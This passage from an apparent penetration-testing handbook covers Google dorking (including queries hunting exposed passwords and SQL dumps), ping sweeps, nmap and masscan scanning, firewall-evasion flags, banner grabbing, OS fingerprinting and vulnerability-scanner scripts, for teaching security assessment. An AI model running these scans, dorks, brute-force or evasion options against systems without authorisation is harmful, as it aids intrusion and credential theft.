all_results.append({\n                                    'url': url,\n                                    'title': title_text\n                                })\n                \n                time.sleep(2)  # Be respectful\n                \n            except Exception as e:\n                print(f\"Error on page {page}: {e}\")\n        \n        return all_results\n    \n    def run_dorks(self, dorks):\n        \"\"\"Run multiple dorks\"\"\"\n        for category, dork_list in dorks.items():\n            print(f\"\\n[+] Running {category} dorks\")\n            self.results[category] = []\n            \n            for dork in dork_list:\n                query = self.build_query(dork.get('operator', ''), dork.get('term', ''))\n                print(f\"  Query: {query}\")\n                \n                results = self.search(query, pages=2)\n                if results:\n                    self.results[category].extend(results)\n                    for r in results[:3]:  # Show first 3\n                        print(f\"    Found: {r['url']}\")\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        import json\n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2)\n        print(f\"\\n[+] Results saved to {filename}\")\n\n# Predefined dorks\nDORKS = {\n    'login_pages': [\n        {'operator': 'inurl', 'term': 'login'},\n        {'operator': 'inurl', 'term': 'admin'},\n        {'operator': 'intitle', 'term': 'login'},\n        {'operator': 'inurl', 'term': 'signin'},\n    ],\n    'config_files': [\n        {'operator': 'filetype', 'term': 'conf'},\n        {'operator': 'filetype', 'term': 'config'},\n        {'operator': 'filetype', 'term': 'ini'},\n        {'operator': 'filetype', 'term': 'xml'},\n    ],\n    'backup_files': [\n        {'operator': 'filetype', 'term': 'bak'},\n        {'operator': 'filetype', 'term': 'backup'},\n        {'operator': 'filetype', 'term': 'old'},\n        {'operator': 'ext', 'term': 'swp'},\n    ],\n    'documents': [\n        {'operator': 'filetype', 'term': 'pdf'},\n        {'operator': 'filetype', 'term': 'doc'},\n        {'operator': 'filetype', 'term': 'xls'},\n        {'operator': 'filetype', 'term': 'ppt'},\n    ],\n    'directories': [\n        {'operator': 'intitle', 'term': '\"index of\"'},\n        {'operator': 'inurl', 'term': 'wp-content'},\n        {'operator': 'inurl', 'term': 'uploads'},\n    ],\n    'error_messages': [\n        {'operator': 'intext', 'term': '\"Fatal error\"'},\n        {'operator': 'intext', 'term': '\"Warning\"'},\n        {'operator': 'intext', 'term': '\"Parse error\"'},\n    ],\n    'credentials': [\n        {'operator': 'intext', 'term': '\"username\" \"password\"'},\n        {'operator': 'intext', 'term': '\"database password\"'},\n        {'operator': 'filetype', 'term': 'sql \"INSERT INTO\"'},\n    ]\n}\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: google_dorking.py  [output_file]\")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    output = sys.argv[2] if len(sys.argv) &gt; 2 else f\"{domain}_dorks.json\"\n    \n    dorker = GoogleDorker(domain)\n    print(f\"[+] Starting Google dorking for {domain}\")\n    \n    dorker.run_dorks(DORKS)\n    dorker.save_results(output)\n```\n\n#### 8.8.3 Google Dorking Tools\n\n**GoogDork**:\n\n```bash\n# Install GoogDork\ngit clone https://github.com/Zarcolio/googdork.git\ncd googdork\npip install -r requirements.txt\n\n# Run search\npython googdork.py -d example.com -s\n\n# Use custom dorks file\npython googdork.py -d example.com -l dorks.txt\n```\n\n**Pagodo**:\n\n```bash\n# Install pagodo\ngit clone https://github.com/opsdisk/pagodo.git\ncd pagodo\npip install -r requirements.txt\n\n# Run with dork list\npython pagodo.py -g google_dorks.txt -d example.com -l 50 -s -e 35.0\n```\n\n**Ghdb** (Google Hacking Database):\n- https://www.exploit-db.com/google-hacking-database\n- Categorized dorks for various purposes\n- Regularly updated with new techniques\n\n---\n\n## Chapter 9 \u2014 Active Reconnaissance\n\nActive reconnaissance involves directly interacting with target systems to gather information. Unlike passive reconnaissance, active techniques can be detected and logged, but they provide more detailed and current information.\n\n### 9.1 Network Discovery\n\nNetwork discovery identifies live hosts and network topology.\n\n#### 9.1.1 Ping Sweeps\n\n**ICMP Echo Requests**:\n\n```python\n#!/usr/bin/env python3\n# ping_sweep.py\n\nimport subprocess\nimport sys\nimport ipaddress\nfrom concurrent.futures import ThreadPoolExecutor\nimport time\n\nclass PingSweep:\n    def __init__(self, network, threads=50, timeout=1):\n        self.network = ipaddress.ip_network(network, strict=False)\n        self.threads = threads\n        self.timeout = timeout\n        self.alive_hosts = []\n        \n    def ping_host(self, ip):\n        \"\"\"Ping a single host\"\"\"\n        try:\n            # Use ping command\n            result = subprocess.run(\n                ['ping', '-c', '1', '-W', str(self.timeout), str(ip)],\n                stdout=subprocess.DEVNULL,\n                stderr=subprocess.DEVNULL\n            )\n            if result.returncode == 0:\n                print(f\"  Host {ip} is alive\")\n                return str(ip)\n        except:\n            pass\n        return None\n    \n    def scan(self):\n        \"\"\"Scan network\"\"\"\n        total_hosts = self.network.num_addresses - 2  # Exclude network and broadcast\n        print(f\"[+] Scanning {self.network} ({total_hosts} hosts)\")\n        \n        start_time = time.time()\n        \n        with ThreadPoolExecutor(max_workers=self.threads) as executor:\n            # Submit all ping jobs\n            futures = []\n            for ip in self.network.hosts():  # Excludes network and broadcast\n                future = executor.submit(self.ping_host, ip)\n                futures.append(future)\n            \n            # Collect results\n            for future in futures:\n                result = future.result()\n                if result:\n                    self.alive_hosts.append(result)\n        \n        elapsed = time.time() - start_time\n        print(f\"\\n[+] Found {len(self.alive_hosts)} alive hosts in {elapsed:.1f} seconds\")\n        return self.alive_hosts\n    \n    def arp_scan(self, interface):\n        \"\"\"ARP scan for local network (more reliable)\"\"\"\n        print(f\"[+] Performing ARP scan on {interface}\")\n        \n        try:\n            result = subprocess.run(\n                ['arp-scan', '--local', '--interface', interface],\n                capture_output=True,\n                text=True\n            )\n            \n            hosts = []\n            for line in result.stdout.split('\\n'):\n                if '\\t' in line:\n                    parts = line.split('\\t')\n                    if len(parts) &gt;= 2:\n                        ip = parts[0]\n                        mac = parts[1]\n                        hosts.append({'ip': ip, 'mac': mac})\n                        print(f\"  Found: {ip} - {mac}\")\n            \n            return hosts\n        except Exception as e:\n            print(f\"Error running arp-scan: {e}\")\n            return []\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        with open(filename, 'w') as f:\n            for host in self.alive_hosts:\n                f.write(f\"{host}\\n\")\n        print(f\"[+] Results saved to {filename}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: ping_sweep.py  [threads]\")\n        print(\"Example: ping_sweep.py 192.168.1.0/24 100\")\n        sys.exit(1)\n    \n    network = sys.argv[1]\n    threads = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 50\n    \n    scanner = PingSweep(network, threads)\n    scanner.scan()\n    scanner.save_results(f\"alive_hosts_{network.replace('/', '_')}.txt\")\n```\n\n**Using fping**:\n\n```bash\n# Install fping\napt install fping\n\n# Ping sweep\nfping -a -g 192.168.1.0/24 2&gt;/dev/null\n\n# With custom timeout\nfping -a -g -t 100 192.168.1.0/24\n\n# Read targets from file\nfping -f targets.txt\n```\n\n**Using nmap for ping sweep**:\n\n```bash\n# ICMP echo scan\nnmap -sn 192.168.1.0/24\n\n# TCP SYN ping (port 80)\nnmap -sn -PS80 192.168.1.0/24\n\n# TCP ACK ping (port 80)\nnmap -sn -PA80 192.168.1.0/24\n\n# UDP ping (port 53)\nnmap -sn -PU53 192.168.1.0/24\n\n# ARP scan (local network only)\nnmap -sn -PR 192.168.1.0/24\n\n# Combine methods\nnmap -sn -PS80 -PA80 -PU53 192.168.1.0/24\n```\n\n#### 9.1.2 Network Topology Discovery\n\n**Traceroute**:\n\n```bash\n# Standard traceroute\ntraceroute example.com\n\n# ICMP traceroute\ntraceroute -I example.com\n\n# TCP traceroute\ntraceroute -T -p 80 example.com\n\n# UDP traceroute (default)\ntraceroute -U example.com\n\n# With specific source IP\ntraceroute -s 192.168.1.100 example.com\n\n# Using tcptraceroute\ntcptraceroute example.com 80\n```\n\n**Path Analysis with mtr**:\n\n```bash\n# Interactive MTR\nmtr example.com\n\n# Report mode (non-interactive)\nmtr -r -c 100 example.com\n\n# TCP mode\nmtr -T -P 80 example.com\n\n# ICMP mode\nmtr -I example.com\n\n# Save report\nmtr -r -c 100 example.com &gt; mtr_report.txt\n```\n\n### 9.2 Port Scanning\n\nPort scanning identifies open ports and running services on target systems.\n\n#### 9.2.1 Nmap Mastery\n\n**Nmap Scan Types**:\n\n```bash\n# TCP SYN scan (default, requires root)\nnmap -sS 192.168.1.100\n\n# TCP connect scan (no root required)\nnmap -sT 192.168.1.100\n\n# UDP scan\nnmap -sU 192.168.1.100\n\n# TCP ACK scan (map firewall rules)\nnmap -sA 192.168.1.100\n\n# TCP Window scan\nnmap -sW 192.168.1.100\n\n# TCP Maimon scan\nnmap -sM 192.168.1.100\n\n# FIN scan\nnmap -sF 192.168.1.100\n\n# Xmas scan\nnmap -sX 192.168.1.100\n\n# Null scan\nnmap -sN 192.168.1.100\n\n# IP protocol scan\nnmap -sO 192.168.1.100\n```\n\n**Nmap Port Specification**:\n\n```bash\n# Single port\nnmap -p 80 192.168.1.100\n\n# Multiple ports\nnmap -p 80,443,22 192.168.1.100\n\n# Range\nnmap -p 1-1000 192.168.1.100\n\n# All ports\nnmap -p- 192.168.1.100\n\n# Top ports\nnmap --top-ports 100 192.168.1.100\n\n# Fast scan (top 100 ports)\nnmap -F 192.168.1.100\n\n# Service and version detection\nnmap -sV 192.168.1.100\n\n# Aggressive service detection\nnmap -sV --version-intensity 9 192.168.1.100\n\n# Light version detection\nnmap -sV --version-intensity 0 192.168.1.100\n```\n\n**Nmap Timing Templates**:\n\n```bash\n# Paranoid (IDS evasion)\nnmap -T0 192.168.1.100\n\n# Sneaky\nnmap -T1 192.168.1.100\n\n# Polite\nnmap -T2 192.168.1.100\n\n# Normal (default)\nnmap -T3 192.168.1.100\n\n# Aggressive\nnmap -T4 192.168.1.100\n\n# Insane (very fast, may miss ports)\nnmap -T5 192.168.1.100\n```\n\n**Nmap Output Formats**:\n\n```bash\n# Normal output\nnmap -oN scan.txt 192.168.1.100\n\n# XML output\nnmap -oX scan.xml 192.168.1.100\n\n# Grepable output\nnmap -oG scan.gnmap 192.168.1.100\n\n# All formats\nnmap -oA scan 192.168.1.100\n\n# Convert XML to HTML\nxsltproc scan.xml -o scan.html\n```\n\n**Advanced Nmap Scripts**:\n\n```bash\n# Run default scripts\nnmap -sC 192.168.1.100\n\n# Run specific script\nnmap --script http-enum 192.168.1.100\n\n# Run script category\nnmap --script vuln 192.168.1.100\n\n# Run multiple scripts\nnmap --script http-*,ssl-* 192.168.1.100\n\n# Script arguments\nnmap --script http-brute --script-args userdb=users.txt,passdb=pass.txt 192.168.1.100\n\n# Update script database\nnmap --script-updatedb\n```\n\n**Nmap Script Categories**:\n\n- `auth`: Authentication credentials\n- `broadcast`: Broadcast discovery\n- `brute`: Brute force attacks\n- `default`: Default scripts (-sC)\n- `discovery`: Service discovery\n- `dos`: Denial of service\n- `exploit`: Exploit vulnerabilities\n- `external`: External services\n- `fuzzer`: Fuzzing\n- `intrusive`: May crash services\n- `malware`: Malware detection\n- `safe`: Unlikely to harm\n- `version`: Version detection\n- `vuln`: Vulnerability detection\n\n**Nmap Firewall Evasion**:\n\n```bash\n# Fragment packets\nnmap -f 192.168.1.100\n\n# Specify MTU\nnmap --mtu 32 192.168.1.100\n\n# Decoy scans\nnmap -D RND:10,ME 192.168.1.100\n\n# Idle scan (zombie)\nnmap -sI zombie_host 192.168.1.100\n\n# Spoof source IP\nnmap -S 192.168.2.200 -e eth0 192.168.1.100\n\n# Source port\nnmap --source-port 53 192.168.1.100\n\n# Randomize host order\nnmap --randomize-hosts 192.168.1.0/24\n\n# MAC address spoofing\nnmap --spoof-mac Cisco 192.168.1.100\n\n# Bad checksum\nnmap --badsum 192.168.1.100\n```\n\n#### 9.2.2 Masscan for High-Speed Scanning\n\nMasscan can scan the entire internet in minutes, but must be used responsibly.\n\n```bash\n# Install masscan\napt install masscan\n\n# Basic scan\nmasscan 192.168.1.0/24 -p80\n\n# Scan with rate limit\nmasscan 192.168.1.0/24 -p80 --rate=1000\n\n# Multiple ports\nmasscan 192.168.1.0/24 -p80,443,22\n\n# Port range\nmasscan 192.168.1.0/24 -p1-1000\n\n# All ports\nmasscan 192.168.1.0/24 -p0-65535\n\n# Output formats\nmasscan 192.168.1.0/24 -p80 -oJ scan.json\nmasscan 192.168.1.0/24 -p80 -oL scan.txt\nmasscan 192.168.1.0/24 -p80 -oB scan.bin\n\n# Exclude targets\nmasscan 192.168.1.0/24 -p80 --exclude 192.168.1.100\n\n# Specific interface\nmasscan 192.168.1.0/24 -p80 -e eth0\n\n# Scan with banner grabbing\nmasscan 192.168.1.0/24 -p80 --banners\n\n# Convert masscan to nmap format\nmasscan --readscan scan.bin -oG scan.gnmap\n```\n\n**Python Masscan Wrapper**:\n\n```python\n#!/usr/bin/env python3\n# masscan_wrapper.py\n\nimport subprocess\nimport json\nimport sys\nimport ipaddress\n\nclass MasscanWrapper:\n    def __init__(self, rate=1000):\n        self.rate = rate\n        self.results = []\n        \n    def scan(self, target, ports, interface=None):\n        \"\"\"Run masscan scan\"\"\"\n        cmd = ['masscan', target, '-p', ports, '--rate', str(self.rate), '-oJ', '-']\n        \n        if interface:\n            cmd.extend(['-e', interface])\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                # Parse JSON output\n                data = json.loads(result.stdout)\n                self.results = data\n                return data\n        except Exception as e:\n            print(f\"Error running masscan: {e}\")\n            return None\n    \n    def scan_network(self, network, ports, exclude=None):\n        \"\"\"Scan entire network\"\"\"\n        cmd = ['masscan', network, '-p', ports, '--rate', str(self.rate), '-oJ', '-']\n        \n        if exclude:\n            cmd.extend(['--exclude', exclude])\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            if result.returncode == 0:\n                data = json.loads(result.stdout)\n                self.results = data\n                return data\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return None\n    \n    def get_open_ports(self):\n        \"\"\"Extract open ports from results\"\"\"\n        ports = []\n        if self.results:\n            for host in self.results:\n                for port_info in host.get('ports', []):\n                    ports.append({\n                        'ip': host['ip'],\n                        'port': port_info['port'],\n                        'protocol': port_info['proto']\n                    })\n        return ports\n    \n    def export_nmap_format(self, filename):\n        \"\"\"Export results in nmap grepable format\"\"\"\n        with open(filename, 'w') as f:\n            for host in self.results:\n                ip = host['ip']\n                ports = ','.join([f\"{p['port']}/{p['proto']}\" for p in host.get('ports', [])])\n                f.write(f\"Host: {ip} () Ports: {ports}\\n\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 3:\n        print(\"Usage: masscan_wrapper.py   [rate]\")\n        print(\"Example: masscan_wrapper.py 192.168.1.0/24 80,443,22 1000\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    ports = sys.argv[2]\n    rate = int(sys.argv[3]) if len(sys.argv) &gt; 3 else 1000\n    \n    scanner = MasscanWrapper(rate)\n    results = scanner.scan(target, ports)\n    \n    if results:\n        open_ports = scanner.get_open_ports()\n        print(f\"\\n[+] Found {len(open_ports)} open ports:\")\n        for port in open_ports:\n            print(f\"  {port['ip']}:{port['port']}/{port['protocol']}\")\n        \n        scanner.export_nmap_format(f\"masscan_{target.replace('/', '_')}.gnmap\")\n```\n\n### 9.3 Service Detection\n\nIdentifying services and their versions is crucial for vulnerability assessment.\n\n#### 9.3.1 Banner Grabbing\n\n**Manual Banner Grabbing**:\n\n```bash\n# Using netcat\nnc -nv 192.168.1.100 80\nHEAD / HTTP/1.0\n[Enter twice]\n\n# Using telnet\ntelnet 192.168.1.100 80\nHEAD / HTTP/1.0\n[Enter twice]\n\n# Using openssl for HTTPS\nopenssl s_client -connect 192.168.1.100:443 -quiet\nHEAD / HTTP/1.0\n[Enter twice]\n\n# Using curl\ncurl -I http://192.168.1.100\ncurl -I https://192.168.1.100\n\n# Using wget\nwget -S --spider http://192.168.1.100\n```\n\n**Automated Banner Grabbing**:\n\n```python\n#!/usr/bin/env python3\n# banner_grabber.py\n\nimport socket\nimport ssl\nimport sys\nimport concurrent.futures\n\nclass BannerGrabber:\n    def __init__(self, timeout=5):\n        self.timeout = timeout\n        \n    def grab_tcp_banner(self, ip, port):\n        \"\"\"Grab banner from TCP port\"\"\"\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(self.timeout)\n            sock.connect((ip, port))\n            \n            # Send probe based on port\n            if port == 80:\n                sock.send(b\"HEAD / HTTP/1.0\\r\\n\\r\\n\")\n            elif port == 21:\n                banner = sock.recv(1024).decode('utf-8', errors='ignore')\n                sock.close()\n                return banner.strip()\n            elif port == 25:\n                banner = sock.recv(1024).decode('utf-8', errors='ignore')\n                sock.close()\n                return banner.strip()\n            elif port == 22:\n                banner = sock.recv(1024).decode('utf-8', errors='ignore')\n                sock.close()\n                return banner.strip()\n            else:\n                # Generic probe\n                sock.send(b\"\\r\\n\")\n            \n            # Receive banner\n            banner = sock.recv(1024).decode('utf-8', errors='ignore')\n            sock.close()\n            return banner.strip()\n            \n        except Exception as e:\n            return None\n    \n    def grab_ssl_banner(self, ip, port):\n        \"\"\"Grab banner from SSL/TLS port\"\"\"\n        try:\n            context = ssl.create_default_context()\n            context.check_hostname = False\n            context.verify_mode = ssl.CERT_NONE\n            \n            with socket.create_connection((ip, port), timeout=self.timeout) as sock:\n                with context.wrap_socket(sock, server_hostname=ip) as ssock:\n                    # Get certificate info\n                    cert = ssock.getpeercert()\n                    \n                    # Send HTTP request if it's HTTPS\n                    if port == 443:\n                        ssock.send(b\"HEAD / HTTP/1.0\\r\\n\\r\\n\")\n                        banner = ssock.recv(1024).decode('utf-8', errors='ignore')\n                        return banner.strip()\n                    \n                    return str(cert)\n        except Exception as e:\n            return None\n    \n    def grab_banner(self, ip, port):\n        \"\"\"Grab banner based on port\"\"\"\n        if port in [443, 8443, 465, 993, 995]:\n            return self.grab_ssl_banner(ip, port)\n        else:\n            return self.grab_tcp_banner(ip, port)\n    \n    def scan_ports(self, ip, ports):\n        \"\"\"Grab banners from multiple ports\"\"\"\n        results = []\n        \n        with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:\n            future_to_port = {executor.submit(self.grab_banner, ip, port): port for port in ports}\n            \n            for future in concurrent.futures.as_completed(future_to_port):\n                port = future_to_port[future]\n                banner = future.result()\n                if banner:\n                    results.append((port, banner))\n                    print(f\"  Port {port}: {banner[:100]}...\")\n        \n        return results\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: banner_grabber.py  [port1,port2,...]\")\n        sys.exit(1)\n    \n    ip = sys.argv[1]\n    \n    if len(sys.argv) &gt; 2:\n        ports = [int(p) for p in sys.argv[2].split(',')]\n    else:\n        # Common ports\n        ports = [21, 22, 23, 25, 80, 110, 111, 135, 139, 143, 443, 445, \n                 993, 995, 1723, 3306, 3389, 5900, 8080]\n    \n    grabber = BannerGrabber()\n    print(f\"[+] Grabbing banners from {ip}\")\n    results = grabber.scan_ports(ip, ports)\n    \n    print(f\"\\n[+] Found {len(results)} banners\")\n```\n\n#### 9.3.2 Nmap Service Detection\n\n```bash\n# Basic service detection\nnmap -sV 192.168.1.100\n\n# Light version detection\nnmap -sV --version-intensity 0 192.168.1.100\n\n# Aggressive version detection\nnmap -sV --version-intensity 9 192.168.1.100\n\n# Version detection with default scripts\nnmap -sV -sC 192.168.1.100\n\n# Version detection on specific ports\nnmap -sV -p 80,443,22 192.168.1.100\n\n# Version detection with OS fingerprinting\nnmap -sV -O 192.168.1.100\n\n# Version detection all ports\nnmap -sV -p- 192.168.1.100\n\n# Version detection with traceroute\nnmap -sV --traceroute 192.168.1.100\n\n# Version detection with timing template\nnmap -sV -T4 192.168.1.100\n```\n\n### 9.4 OS Fingerprinting\n\nIdentifying the operating system helps tailor exploitation attempts.\n\n#### 9.4.1 Active OS Fingerprinting\n\n**Nmap OS Fingerprinting**:\n\n```bash\n# Basic OS detection\nnmap -O 192.168.1.100\n\n# OS detection with version detection\nnmap -O -sV 192.168.1.100\n\n# Aggressive OS detection\nnmap -O --osscan-guess 192.168.1.100\n\n# Limit ports for OS detection\nnmap -O --osscan-limit 192.168.1.100\n\n# Max OS detection attempts\nnmap -O --max-os-tries 3 192.168.1.100\n\n# OS detection with verbosity\nnmap -O -v 192.168.1.100\n```\n\n**OS Fingerprinting with Xprobe2**:\n\n```bash\n# Install xprobe2\napt install xprobe2\n\n# Basic fingerprinting\nxprobe2 192.168.1.100\n\n# With specific ports\nxprobe2 -p tcp:80:open 192.168.1.100\n\n# Verbose mode\nxprobe2 -v 192.168.1.100\n\n# XML output\nxprobe2 -o xml 192.168.1.100\n```\n\n**Custom OS Fingerprinting**:\n\n```python\n#!/usr/bin/env python3\n# os_fingerprint.py\n\nfrom scapy.all import *\nimport sys\n\nclass OSFingerprinter:\n    def __init__(self, target):\n        self.target = target\n        self.results = {}\n        \n    def ttl_fingerprint(self):\n        \"\"\"Fingerprint based on TTL values\"\"\"\n        try:\n            # Send ICMP packet\n            packet = IP(dst=self.target)/ICMP()\n            reply = sr1(packet, timeout=2, verbose=0)\n            \n            if reply:\n                ttl = reply.ttl\n                self.results['ttl'] = ttl\n                \n                # Guess OS based on TTL\n                if ttl &lt;= 64:\n                    return \"Linux/Unix (TTL &lt;= 64)\"\n                elif ttl &lt;= 128:\n                    return \"Windows (TTL &lt;= 128)\"\n                elif ttl &lt;= 255:\n                    return \"Network device (TTL &lt;= 255)\"\n                else:\n                    return f\"Unknown (TTL: {ttl})\"\n        except:\n            pass\n        \n        return \"No ICMP response\"\n    \n    def tcp_window_fingerprint(self):\n        \"\"\"Fingerprint based on TCP window size\"\"\"\n        try:\n            # Send SYN packet\n            packet = IP(dst=self.target)/TCP(dport=80, flags='S')\n            reply = sr1(packet, timeout=2, verbose=0)\n            \n            if reply and TCP in reply:\n                window = reply[TCP].window\n                ttl = reply.ttl\n                \n                self.results['tcp_window'] = window\n                \n                # Known window sizes\n                if window == 5840 and ttl &lt;= 64:\n                    return \"Linux 2.4/2.6\"\n                elif window == 8192:\n                    return \"Windows\"\n                elif window == 65535:\n                    return \"Solaris/AIX\"\n                elif window == 16384:\n                    return \"Windows 10/Server 2016\"\n                elif window == 29200:\n                    return \"Linux 3.x/4.x\"\n        except:\n            pass\n        \n        return \"Unknown\"\n    \n    def tcp_options_fingerprint(self):\n        \"\"\"Fingerprint based on TCP options\"\"\"\n        try:\n            packet = IP(dst=self.target)/TCP(dport=80, flags='S')\n            reply = sr1(packet, timeout=2, verbose=0)\n            \n            if reply and TCP in reply:\n                options = reply[TCP].options\n                self.results['tcp_options'] = options\n                return str(options)\n        except:\n            pass\n        \n        return \"No TCP options\"\n    \n    def nmap_syn_scan(self):\n        \"\"\"Simulate nmap-style SYN scan fingerprinting\"\"\"\n        results = []\n        \n        # Test different ports to see response patterns\n        ports = [20, 21, 22, 23, 25, 53, 80, 443]\n        \n        for port in ports:\n            packet = IP(dst=self.target)/TCP(dport=port, flags='S')\n            reply = sr1(packet, timeout=1, verbose=0)\n            \n            if reply:\n                if TCP in reply:\n                    if reply[TCP].flags == 0x12:  # SYN-ACK\n                        results.append(f\"Port {port}: Open (SYN-ACK)\")\n                    elif reply[TCP].flags == 0x14:  # RST-ACK\n                        results.append(f\"Port {port}: Closed (RST-ACK)\")\n            else:\n                # No response - could be filtered\n                pass\n        \n        return results\n    \n    def fingerprint(self):\n        \"\"\"Perform comprehensive OS fingerprinting\"\"\"\n        print(f\"[+] Fingerprinting OS for {self.target}\")\n        \n        # TTL fingerprinting\n        ttl_os = self.ttl_fingerprint()\n        print(f\"  TTL analysis: {ttl_os}\")\n        \n        # TCP window fingerprinting\n        window_os = self.tcp_window_fingerprint()\n        if window_os != \"Unknown\":\n            print(f\"  TCP window analysis: {window_os}\")\n        \n        # TCP options\n        options = self.tcp_options_fingerprint()\n        print(f\"  TCP options: {options}\")\n        \n        # Port scan patterns\n        patterns = self.nmap_syn_scan()\n        if patterns:\n            print(\"\\n  Port response patterns:\")\n            for p in patterns[:5]:\n                print(f\"    {p}\")\n        \n        return self.results\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: os_fingerprint.py \")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    fingerprinter = OSFingerprinter(target)\n    fingerprinter.fingerprint()\n```\n\n### 9.5 Vulnerability Scanning\n\nVulnerability scanning identifies known weaknesses in target systems.\n\n#### 9.5.1 Nmap Vulnerability Scripts\n\n```bash\n# Run all vulnerability scripts\nnmap --script vuln 192.168.1.100\n\n# Specific vulnerability checks\nnmap --script http-vuln* 192.168.1.100\nnmap --script smb-vuln* 192.168.1.100\nnmap --script ssl-* 192.168.1.100\n\n# Check for heartbleed\nnmap --script ssl-heartbleed -p 443 192.168.1.100\n\n# Check for shellshock\nnmap --script http-shellshock -p 80 192.168.1.100\n\n# Check for eternalblue\nnmap --script smb-vuln-ms17-010 -p 445 192.168.1.100\n\n# Check for default credentials\nnmap --script http-default-accounts 192.168.1.100\n```\n\n#### 9.5.2 Comprehensive Vulnerability Scanning\n\n```python\n#!/usr/bin/env python3\n# vuln_scanner.py\n\nimport subprocess\nimport json\nimport sys\nimport os\nfrom datetime import datetime\n\nclass VulnerabilityScanner:\n    def __init__(self, target):\n        self.target = target\n        self.results = {\n            'target': target,\n            'timestamp': datetime.now().isoformat(),\n            'nmap_vulns': [],\n            'nikto_results': [],\n            'wpscan_results': None\n        }\n        \n    def run_nmap_vuln(self):\n        \"\"\"Run nmap vulnerability scripts\"\"\"\n        print(f\"[+] Running nmap vulnerability scan on {self.target}\")\n        \n        output_file = f\"nmap_vuln_{self.target}.xml\"\n        \n        try:\n            cmd = ['nmap', '-sV', '--script', 'vuln', '-oX', output_file, self.target]\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                # Parse XML output\n                import xml.etree.ElementTree as ET\n                tree = ET.parse(output_file)\n                root = tree.getroot()\n                \n                vulns = []\n                for host in root.findall('host'):\n                    for script in host.findall('.//script'):\n                        vulns.append({\n                            'id': script.get('id'),\n                            'output': script.get('output')\n                        })\n                \n                self.results['nmap_vulns'] = vulns\n                print(f\"  Found {len(vulns)} potential vulnerabilities\")\n                \n        except Exception as e:\n            print(f\"  Error: {e}\")\n        \n        return self.results['nmap_vulns']\n    \n    def run_nikto(self):\n        \"\"\"Run Nikto web scanner\"\"\"\n        print(f\"[+] Running Nikto scan on {self.target}\")\n        \n        output_file = f\"nikto_{self.target}.json\"\n        \n        try:\n            cmd = ['nikto', '-h', self.target, '-Format', 'json', '-o', output_file]\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if os.path.exists(output_file):\n                with open(output_file, 'r') as f:\n                    data = json.load(f)\n                    self.results['nikto_results'] = data\n                    print(f\"  Nikto scan complete\")\n                    \n        except Exception as e:\n            print(f\"  Error: {e}\")\n    \n    def check_web_technologies(self):\n        \"\"\"Check web technologies with whatweb\"\"\"\n        print(f\"[+] Identifying web technologies\")\n        \n        try:\n            cmd = ['whatweb', '-a', '3', self.target]\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            \n            if result.returncode == 0:\n                self.results['web_technologies'] = result.stdout.strip()\n                print(f\"  {result.stdout.strip()[:200]}...\")\n                \n        except Exception as e:\n            print(f\"  Error: {e}\")\n    \n    def check_ssl(self):\n        \"\"\"Check SSL/TLS configuration\"\"\"\n        print(f\"[+] Checking SSL/TLS\")\n        \n        try:\n            # Check with testssl.sh if available\n            if os.path.exists('/usr/bin/testssl'):\n                cmd = ['testssl', '--quiet', '--jsonfile', f\"ssl_{self.target}.json\", self.target]\n                result = subprocess.run(cmd, capture_output=True, text=True)\n                \n        except Exception as e:\n            print(f\"  Error: {e}\")\n    \n    def generate_report(self):\n        \"\"\"Generate vulnerability report\"\"\"\n        print(\"\\n\" + \"=\"*60)\n        print(f\"VULNERABILITY SCAN REPORT: {self.target}\")\n        print(\"=\"*60)\n        \n        if self.results['nmap_vulns']:\n            print(f\"\\n[+] Nmap Vulnerabilities ({len(self.results['nmap_vulns'])}):\")\n            for vuln in self.results['nmap_vulns'][:10]:\n                print(f\"  - {vuln['id']}\")\n                output = vuln['output'][:100] + '...' if len(vuln['output']) &gt; 100 else vuln['output']\n                print(f\"    {output}\")\n            if len(self.results['nmap_vulns']) &gt; 10:\n                print(f\"    ... and {len(self.results['nmap_vulns'])-10} more\")\n        \n        if self.results['web_technologies']:\n            print(f\"\\n[+] Web Technologies:\")\n            print(f\"  {self.results['web_technologies']}\")\n        \n        print(\"\\n\" + \"=\"*60)\n    \n    def save_results(self, filename):\n        \"\"\"Save results to file\"\"\"\n        with open(filename, 'w') as f:\n            json.dump(self.results, f, indent=2)\n        print(f\"\\n[+] Results saved to {filename}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: vuln_scanner.py \")\n        print(\"Example: vuln_scanner.py example.com\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    \n    scanner = VulnerabilityScanner(target)\n    \n    scanner.run_nmap_vuln()\n    scanner.run_nikto()\n    scanner.check_web_technologies()\n    scanner.check_ssl()\n    \n    scanner.generate_report()\n    scanner.save_results(f\"{target}_vuln_scan.json\")\n```\n\n---\n\n# PART IV \u2014 VULNERABILITY ANALYSIS\n\n## Chapter 10 \u2014 Vulnerability Assessment Methodology\n\nVulnerability assessment is the systematic process of identifying, classifying, and prioritizing security weaknesses in systems, applications, and network infrastructure. Unlike penetration testing, which actively exploits vulnerabilities, vulnerability assessment focuses on discovery and measurement.\n\n### 10.1 The Vulnerability Assessment Lifecycle\n\nA comprehensive vulnerability assessment follows a structured lifecycle that ensures thorough coverage and actionable results.\n\n#### 10.1.1 Phase 1: Planning and Scoping\n\nThe planning phase 